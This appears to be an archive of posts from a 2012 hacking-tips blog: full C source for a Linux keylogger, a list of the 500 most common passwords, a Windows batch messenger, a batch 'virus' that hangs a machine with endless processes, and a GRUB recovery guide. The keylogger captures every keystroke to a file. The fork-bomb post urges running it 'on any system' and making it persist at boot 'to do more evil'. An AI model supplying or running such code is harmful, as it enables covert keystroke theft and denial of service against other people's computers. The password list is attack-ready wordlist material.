Friday, 14 December 2012

Linux Keylogger Source Code


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
        char key(int code) {
                int i;
                int ascii_code[] = {
                11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
                31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
                51, 52, 53, 57};
                int ascii_char[] = {
                '0', '\'', 'ì', '\b', '\t', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
                '+', '\n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
                'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};
                for (i = 0; i < 42; i++) {
                        if (code == ascii_code[i])
                                return ascii_char[i];
                }
        }
        int main(int argc, char **argv) {
                int code = 0;
                int last = 0;
                FILE *file;
                if (!argv[1]) {
                        fprintf(stderr, "%s <file>\n", argv[0]);
                        exit(1);
                }
                if (!(file = fopen(argv[1], "w"))) {
                        fprintf(stderr, "Impossibile scrivere sul file %s\n", argv[1]);
                        exit(2);
                }
                if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
                        fprintf(stderr, "Impossibile accedere alla porta di I/O della tastiera\n");
                        exit(3);                }
                while (1) {
                        code = 0;
                        if (inb(KB_ST) == 20)
                                code = inb(KB_IO);
                        if (code) {
                                if (code != last) {
                                        last = code;
                                        if (key(code)) {
                                                fprintf(file, "%c", key(code));
                                                fflush(file);
                                        }
                                }
                        }
                        usleep(SLEEP);
                }
                return 0;
  }



I do not own this code..
I just copied from some website.

Wednesday, 5 December 2012

Worst Passwords / Password generally used

Perfect Passwords: Selection, Protection, Authentication
Mark Burnett Copyright Syngress Publishing, Inc.2006Syngress Publishing182

Top 1-100 Top 101–200 Top 201–300 Top 301–400 Top 401–500
123456 porsche firebird prince rosebud
password guitar butter beach jaguar
12345678 chelsea united amateur great
1234 black turtle 7777777 cool
pussy diamond steelers muffin cooper
12345 nascar tiffany redsox 1313
dragon jackson zxcvbn star scorpio
qwerty cameron tomcat testing mountain
696969 654321 golf shannon madison
mustang computer bond007 murphy 987654
letmein amanda bear frank brazil
baseball wizard tiger hannah lauren
master xxxxxxxx doctor dave japan
michael money gateway eagle1 naked
football phoenix gators 11111 squirt
shadow mickey angel mother stars
monkey bailey junior nathan apple
abc123 knight thx1138 raiders alexis
pass iceman porno steve aaaa
fuckme tigers badboy forever bonnie
6969 purple debbie angela peaches
jordan andrea spider viper jasmine
harley horny melissa ou812 kevin
ranger dakota booger jake matt
iwantu aaaaaa 1212 lovers qwertyui
jennifer player flyers suckit danielle
hunter sunshine fish gregory beaver
fuck morgan porn buddy 4321
2000 starwars matrix whatever 4128
test boomer teens young runner
batman cowboys scooby nicholas swimming
trustno1 edward jason lucky dolphin
thomas charles walter helpme gordon
tigger girls cumshot jackie casper
robert booboo boston monica stupid
access coffee braves midnight shit
love xxxxxx yankee college saturn
buster bulldog lover baby gemini
1234567 ncc1701 barney cunt apples
soccer rabbit victor brian august
hockey peanut tucker mark 3333
killer john princess startrek canada
george johnny mercedes sierra blazer
sexy gandalf 5150 leather cumming
andrew spanky doggie 232323 hunting
charlie winter zzzzzz 4444 kitty
superman brandy gunner beavis rainbow
asshole compaq horney bigcock 112233
fuckyou carlos bubba happy arthur
dallas tennis 2112 sophie cream
jessica james fred ladies calvin
panties mike johnson naughty shaved
pepper brandon xxxxx giants surfer
1111 fender tits booty samson
austin anthony member blonde kelly
william blowme boobs fucked paul
daniel ferrari donald golden mine
golfer cookie bigdaddy 0 king
summer chicken bronco fire racing
heather maverick penis sandra 5555
hammer chicago voyager pookie eagle
yankees joseph rangers packers hentai
joshua diablo birdie einstein newyork
maggie sexsex trouble dolphins little
biteme hardcore white 0 redwings
enter 666666 topgun chevy smith
ashley willie bigtits winston sticky
thunder welcome bitches warrior cocacola
cowboy chris green sammy animal
silver panther super slut broncos
richard yamaha qazwsx 8675309 private
fucker justin magic zxcvbnm skippy
orange banana lakers nipples marvin
merlin driver rachel power blondes
michelle marine slayer victoria enjoy
corvette angels scott asdfgh girl
bigdog fishing 2222 vagina apollo
cheese david asdf toyota parker
matthew maddog video travis qwert
121212 hooters london hotdog time
patrick wilson 7777 paris sydney
martin butthead marlboro rock women
freedom dennis srinivas xxxx voodoo
ginger fucking internet extreme magnum
blowjob captain action redskins juice
nicole bigdick carter erotic abgrtyu
sparky chester jasper dirty 777777
yellow smokey monster ford dreams
camaro xavier teresa freddy maxwell
secret steven jeremy arsenal music
dick viking 11111111 access14 rush2112
falcon snoopy bill wolf russia
taylor blue crystal nipple scorpion
111111 eagles peter iloveyou rebecca
131313 winner pussies alex tester
123123 samantha cock florida mistress
bitch house beer eric phantom
hello miller rocket legend billy
scooter flower theman movie 6666
please jack oliver success albert

Sunday, 2 December 2012

Simple Code to create you own chat messenger for LAN

Step 1: open CMD
Step 2: write edit msg.bat
Step 3: add following code in file & save it.
@echo off
:A
echo Messenger
set /P n=User/IP:
set /P m=Message:
msg %n% %m%
pause
goto A

Step 4: Run this msg.bat file.

Simple Virus to Hang the Windows System. Windows Shell Script :D

Step1: open CMD

Step 2: Write edit hack.bat

Step 3: Write following code

:A
start
goto A

Step 4: Save the file and Run this file on any system.

It will just hang your system by creating infinite processes. Like DOS attack on you system locally.

If you reboot directly then you system will be normal again.

To do more evil...
============
Make entry of this file in windows registry for boot time run..

:D

Saturday, 1 December 2012

Grub installation to recover linux again after windows installation

When we install windows on Linux(Ubuntu/Fedora) Machine, Windows bootloader override Linux bootloader and you can not boot linux again. After Windows installation on Linux(Ubuntu/Fedora) machine,you can only see windows boot screen. To solve this problem we need to install Linux bootloader again and override it with windows bootloader.

Normally Linux use GRUB(Grand Universal Bootloader) Bootloader.
Windows use BootMGR(Boot Manager).

Now follow the steps to get you Linux(Ubuntu/Fedora) Operating System Back.

Step1: Download the ISO of System Rescue CD from it's website
http://www.sysresccd.org/SystemRescueCd_Homepage

Now either burn it on cd/dvd or burn it on pendrive.

Step 2: Reboot your system via this DVD/Pendrive and run SystemRescue OS

Step 3: Open the terminal and use following commands.

Command 1: fsarchiver probe simple

here check for linux boot partition or linux partition i.e. sda1 , sda2 ..etc..

Command 2: mkdir  /mnt/linux
Command 3: mount /dev/sda2  /mnt/linux

here my linux boot partition name is sda2. You need to write your own linux partition name that you had from command 1.

Command 4: mount -o bind /proc  /mnt/linux/proc
Command 5: mount -o bind /dev  /mnt/linux/dev
Command 6: mount -o bind /sys  /mnt/linux/sys

Command 7: chroot /mnt/linux  /bin/bash
Command 8: grub-install /dev/sda

Command 9: umount /mnt/linux/dev
Command 10: umount /mnt/linux/proc
Command 11: umount /mnt/linux/sys
Command 12: umount /mnt/linux/boot
Command 13: umount /mnt/linux